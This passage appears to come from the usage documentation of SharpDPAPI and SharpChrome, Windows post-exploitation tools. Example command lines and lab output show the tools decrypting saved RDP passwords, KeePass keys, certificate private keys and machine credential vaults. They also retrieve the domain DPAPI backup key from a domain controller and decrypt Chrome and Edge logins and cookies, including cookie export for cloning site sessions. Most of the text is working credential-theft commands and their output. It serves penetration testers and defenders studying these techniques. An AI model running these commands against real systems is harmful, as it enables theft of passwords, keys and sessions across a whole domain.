C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local

Cred Profiles

Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!

Default Logon Credentials

Profile Name : Custom
UserName : TESTLA B\harmj0y
Password : Password123!

C:\Users\harmj0y\Documents\test.rdg

Servers

Name : secondary.testlab.local

Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0


[*] Action: RDG Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging RDCMan.settings Files for ALL users

RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local

Cred Profiles

Profile Name : testprofile
UserName : testlab.local\dfm.a
Password : Password123!

Default Logon Credentials

Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!

C:\Users\harmj0y\Documents\test.rdg

Servers

Name : secondary.testlab.local

Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!

keepass

The keepass command will search for KeePass ProtectedUserKey.bin files for the current user (or if elevated, all users) and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

The /unprotect flag will use CryptUnprotectData() to decrypt the key bytes, if the command is run from the user context who saved the passwords. This can be done from an unprivileged context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.

A specific ProtectedUserKey.bin file, .RDC file (or folder of .RDG files) can be specified with /target:FILE or /target:C:\Folder\. If a file is specified, {GUID}:SHA1 values (or /unprotect) are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.

Decrypted key file bytes can be used with the modified KeePass version in KeeThief.

Using /unprotect to decrypt any found key material:

C:\Temp> SharpDPAPI.exe  keepass /unprotect

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0


[*] Action: KeePass Triage

[*] Using CryptUnprotectData() for decryption.

[*] Triaging KeePass ProtectedUserKey.bin files for current user

File : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
Accessed : 3/1/2021 1:38:22 PM
Modified : 1/4/2021 5:49:49 PM
guidMasterKey : {dab90445-0a08-4b27-9110-b75d4a7894d0}
size : 210
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Key Bytes : 39 2E 63 EF 0E 37 E8 5C 34 ...


SharpDPAPI completed in 00:00:00.0566660

certificates

The certificates command will search user encrypted DPAPI certificate private keys a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

A specific certificiate can be specified with /target:C:\Folder\. In this case, either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.

By default, only private keys linkable to an associated installed certificate are displayed. The /showall command will display ALL decrypted private keys.

Use the /cng flag for CNG private keys (default is capi).

Using domain {GUID}:SHA1 masterkey mappings:

C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0


[*] Action: Certificate Triage

Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : ef98458bca7135fe1bb89b3715180 ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da

Thumbprint : 98A03BC583861DCC19045758C0E0C05162091B6C
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 2/22/2021 2:19:02 PM
Expiry Date : 2/22/2022 2:19:02 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Secure Email (1.3.6.1.5.5.7.3.4)
Encrypting File System (1.3.6.1.4.1.311.10.3.4)

[*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0


[*] Action: Certificate Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!


[*] User master key cache:

{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...



Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : ef98458bca7135fe1bb89b3715180ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da

Thumbprint : 98A03BC583861DCC19045758C0E0C05162091B6C
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 2/22/2021 2:19:02 PM
Expiry Date : 2/22/2022 2:19:02 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Secure Email (1.3.6.1.5.5.7.3.4)
Encrypting File System (1.3.6.1.4.1.311.10.3.4)

[*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-- ---BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

triage

The triage command runs the user credentials, vaults, rdg, and certificates commands.


Machine Triage

machinemasterkeys

The machinemasterkeys command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. It will return a set of masterkey {GUID}:SHA1 mappings.

Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).

C:\Temp>SharpDPAPI.exe machinemasterkeys

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: Machine DPAPI Masterkey File Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...

machinecredentials

The machinecredentials command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine Credential files.

Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).

C:\Temp>SharpDPAPI.exe machinecredentials

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: Machine DPAPI Credential Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging System Credentials


Folder : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

CredFile : C73A55F92FAE222C18A8989FEA28A1FE

guid MasterKey : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
size : 544
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description : Local Credential Data

LastWritten : 3/24/2019 7:08:43 PM
TargetName : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
TargetAlias :
Comment :
UserName : TESTLAB\harmj0y
Credential : Password123!


Folder : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials

CredFile : DFBE70A7E5CC19A398EBF1B96859CE5D

...(snip)...

machinevaults

The machinevaults command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine Vaults.

Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).

C:\Temp>SharpDPAPI.exe machinevaults

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: Machine DPAPI Vault Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging SYSTEM Vaults


[*] Triaging Vault folder: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

VaultID : 4bf4c442-9b8a-41a0-b38 0-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {0bd732d9-c396-4f9a-a69a-508632c05235}
size : 324
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description :
aes128 key : 74CE3D7BCC4D0C4734931041F6D00D09
aes256 key : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081

...(snip)...

certificates /machine

The certificates /machine command will use the machine certificate store to look for decryptable machine certificate private keys. /mkfile:X and {GUID}:masterkey are usable with the /target:\[file|folder\] command, otherwise SharpDPAPI will elevate to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine system encrypted DPAPI private certificate keys.

By default, only private keys linkable to an associated installed certificate are displayed. The /showall command will display ALL decrypted private keys.

Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).

C:\Temp>SharpDPAPI.exe certificates /machine

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0


[*] Action: Certificate Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM master key cache:

{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...


[*] Triaging System Certificates


Folder : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

File : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

Provider GUID : {df9d8cd0-1501-11d1 -8c7a-00c04fc297eb}
Master Key GUID : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : aa8c9e4849455660fc5fc96589f3e40e
HMAC : 9138559ef30fbd70808dca2c1ed02a29
Unique Name : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650

Thumbprint : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=dev.theshire.local
Valid Date : 2/22/2021 3:50:43 PM
Expiry Date : 2/22/2022 3:50:43 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Server Authentication (1.3.6.1.5.5.7.3.1)

[*] Private key file 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737b a66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----

machinetriage

The machinetriage command runs the user machinecredentials, machinevaults, and certificates /machine commands.


Misc

ps

The ps command will describe/decrypt an exported PSCredential clixml. A /target:FILE.xmlmust be supplied.

The command will a) decrypt the file with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

The /unprotect flag will use CryptUnprotectData() to decrypt the credenial .xml without masterkeys needed, if the command is run from the user context who saved the passwords. This can be done from an unprivileged context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.

Decrypt an exported credential .xml using CryptProtectData() (the /unprotect flag):

PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0


[*] Action: Describe PSCredential .xml

CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 11:53:09 AM
Modified : 7/25/2019 11:53:09 AM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!

Using domain {GUID}:SHA1 masterkey mappings:

PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TES TLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!

blob

The blob command will describe/decrypt a DPAPI blob. A /target:<BASE64|blob.bin>must be supplied.

The command will a) decrypt the blob with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

The /unprotect flag will use CryptUnprotectData() to decrypt the blob without masterkeys needed, if the command is run from the user context who saved the passwords. This can be done from an unprivileged context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.

Decrypt a blob using CryptProtectData() (the /unprotect flag):

C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect

  __                 _   _       _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0


[*] Action: Describe DPAPI blob

[*] Using CryptUnprotectData() for decryption.

guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : Password123!

Using domain {GUID}:SHA1 masterkey mappings:

C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0


[*] Action: Describe DPAPI blob

[*] Using CryptUnprotectData() for decryption.

guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0


[*] Action: Describe DPAPI blob

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

backupkey

The backupkey command will retrieve the domain DPAPI backup key from a domain controller using the LsaRetrievePrivateData API approach from Mimikatz. This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;)

Domain admin (or equivalent) rights are needed to retrieve the key from a remote domain controller.

The /nowrap flag will prevent wrapping the base64 key on display.

This base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk module, or used in blob/file /pvk:X form with the masterkeys, credentials, or vault SharpDPAPI commands.

By default, SharpDPAPI will try to determine the current domain controller via the DsGetDcName API call. A server can be specified with /server:COMPUTER.domain.com. If you want the key saved to disk instead of output as a base64 blob, use /file:key.pvk.

Retrieve the DPAPI backup key for the current domain controller:

C:\Temp>SharpDPAPI.exe backupkey

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: Retrieve domain DPAPI backup key


[*] Using current domain controller : PRIMARY.testlab.local
[*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Key :
HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...

Retrieve the DPAPI backup key for the specified DC, outputting the backup key to a file:

C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: Retrieve domain DPAPI backup key


[*] Using server : primary.testlab.local
[*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Backup key written to : key.pvk

search

The search comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs. Usage:

SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors]
SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
SharpDPAPI.exe search /type:base64 [/base:<base64 string>]

The search command works by searching for the following bytes, which represent the header (Version + DPAPI provider GUID) of DPAPI blob structure:

0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB

The search command has different arguments depending on the data type being scanned. To designate the data type, use the /type argument specifying registry, folder, file, or base64. If the /type argument is not present, the command will search the registry by default.

When searching the registry with no other arguments, the command will recursively search the HKEY_LOCAL_MACHINE and HKEY_USERS hives. Use /path parameter to specify a root to key to search from (e.g. /path:HKLM\Software) and use the /showErrors argument to display errors that occuring during enumeration.

When searching a file or folder, specify a path with /path:C:\Path\to\file\or\folder and optionally use /maxBytes:<int> to specify the number of bytes to read from each file (default: 1024 bytes). The command will read the bytes from the beginning of the file and search for DPAPI blobs. Use /showErrors to display an errors that occur during enumeration.

When searching a base64 blob, specify the base64-encoded bytes to scan with the /base64:<base64 str> parameter.


SharpChrome Commands

logins

The logins command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If /browser:edge is specified, the newer Chromium-based Edge browser is triaged.

Login Data files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys, or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

A specific Login Data file can be specified with /target:FILE. A remote /server:SERVER can be specified if a /pvk is also supplied. If triaging newer Chrome/Edge instances, a /statekey:X AES state key can be specified.

By default, logins are displayed in a csv format. This can be modified with /format:table for table output. Also, by default only non-null password value entries are displayed, but all values can be displayed with /showall.

If run from an elevated context, Login Data files for ALL users will be triaged, otherwise only Login Data files for the current user will be processed.


cookies

The cookies command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If /browser:edge is specified, the newer Chromium-based Edge browser is triaged.

Cookie files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys, or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

A specific Cookies file can be specified with /target:FILE. A remote /server:SERVER can be specified if a /pvk is also supplied. If triaging newer Chrome/Edge instances, a /statekey:X AES state key can be specified.

By default, cookies are displayed in a csv format. This can be modified with /format:table for table output, or /format:json for output importable by EditThisCookie. Also, by default only non-expired cookie value entries are displayed, but all values can be displayed with /showall.

If run from an elevated context, Cookie files for ALL users will be triaged, otherwise only Cookie files for the current user will be processed.

The cookies command also has /cookie:REGEX and /url:REGEX arguments to only return cookie names or urls matching the supplied regex. This is useful with /format:json to easily clone access to specific sites.


statekeys

The statekeys command will search for Chrome/Edge AES statekey files (i.e. 'AppData\Local\Google\Chrome\User Data\Local State' and 'AppData\Local\Microsoft\Edge\User Data\Local State') and decrypts them using the same type of arguments that can be supplied for cookies and logins.

State keys can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys, or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

If run from an elevated context, state keys for ALL users will be triaged, otherwise only state keys for the current user will be processed.


backupkey

The backupkey command will retrieve the domain DPAPI backup key from a domain controller using the LsaRetrievePrivateData API approach from Mimikatz. This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;)

Domain admin (or equivalent) rights are needed to retrieve the key from a remote domain controller.

The /nowrap flag will prevent wrapping the base64 key on display.

